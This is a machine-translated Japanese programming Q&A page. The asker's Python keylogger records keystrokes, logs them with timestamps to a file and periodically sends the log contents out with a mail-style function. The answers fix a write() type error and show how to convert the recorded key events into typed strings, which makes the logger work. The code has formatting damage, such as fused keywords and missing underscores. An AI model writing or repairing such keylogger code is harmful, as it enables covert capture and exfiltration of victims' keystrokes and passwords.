web-dev-qa-db-ja.com

TypeError:write()引数はリストではなくstrでなければなりません

deffile_input(recorded):

now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()

if name == "main":

while 1:

    status = time.localtime()
    result = []
    keyboard.press_and_release('space')
    recorded = keyboard.record(until='enter')
    file_input(recorded)
    if (status.tm_min == 30):
        f = open("LOG.txt", 'r')
        file_content = f.read()
        f.close()
        send_simple_message(file_content)

pythonでキーロガーを書き込もうとすると、そのようなタイプのエラーに直面しました。どうすればこの問題を解決できますか?

記録された変数をwrite()に入れるだけで型エラーが発生し、記録された変数の型はリストになります。だから私はjoin funcを使用しようとしましたが、うまくいきませんでした

6
Gripex

w.write()を使用してファイルに書き込もうとしていますが、引数として文字列のみを受け取ります。 _now_time_は 'datetime'型であり、文字列ではありません。日付をフォーマットする必要がない場合は、代わりにこれを行うことができます:

_w.write(str(nowtime))
_

と同じこと

_w.write(recorded)
_

recordedはイベントのリストです。文字列をファイルに書き込む前に、それを使用して文字列を作成する必要があります。例えば:

_recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
_

次に、file_input()関数内で次のことができます。

_w.write(typedstr)
_
10
Youssef Khar

w.write(str(recorded))に変更することで、私の問題は解決しました。

1
Amit Ghosh